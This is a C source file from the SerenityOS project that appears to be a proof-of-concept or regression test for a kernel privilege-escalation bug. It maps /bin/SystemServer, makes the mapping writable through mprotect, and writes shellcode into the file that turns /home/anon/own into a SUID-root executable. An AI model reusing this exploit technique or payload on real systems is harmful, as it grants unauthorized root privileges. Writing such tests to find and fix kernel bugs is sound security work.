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/*
* Copyright (c) 2018-2020, the SerenityOS developers.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/bin/SystemServer", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
perror("mprotect");
return 1;
}
/*
*
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
* It does two things:
*
* chown ("/home/anon/own", 0, 0);
* chmod ("/home/anon/own", 04755);
*
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
*
*/
#if 0
[bits 32]
[org 0x0804b111]
jmp $+17
path:
db "/home/anon/own", 0
mov eax, 79
mov edx, path
mov ecx, 0
mov ebx, 0
int 0x82
mov eax, 67
mov edx, path
mov ecx, 15
mov ebx, 2541
int 0x82
ret
#endif
const u8 payload[] = {
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
};
memcpy(&ptr[0x3111], payload, sizeof(payload));
printf("ok\n");
return 0;
}
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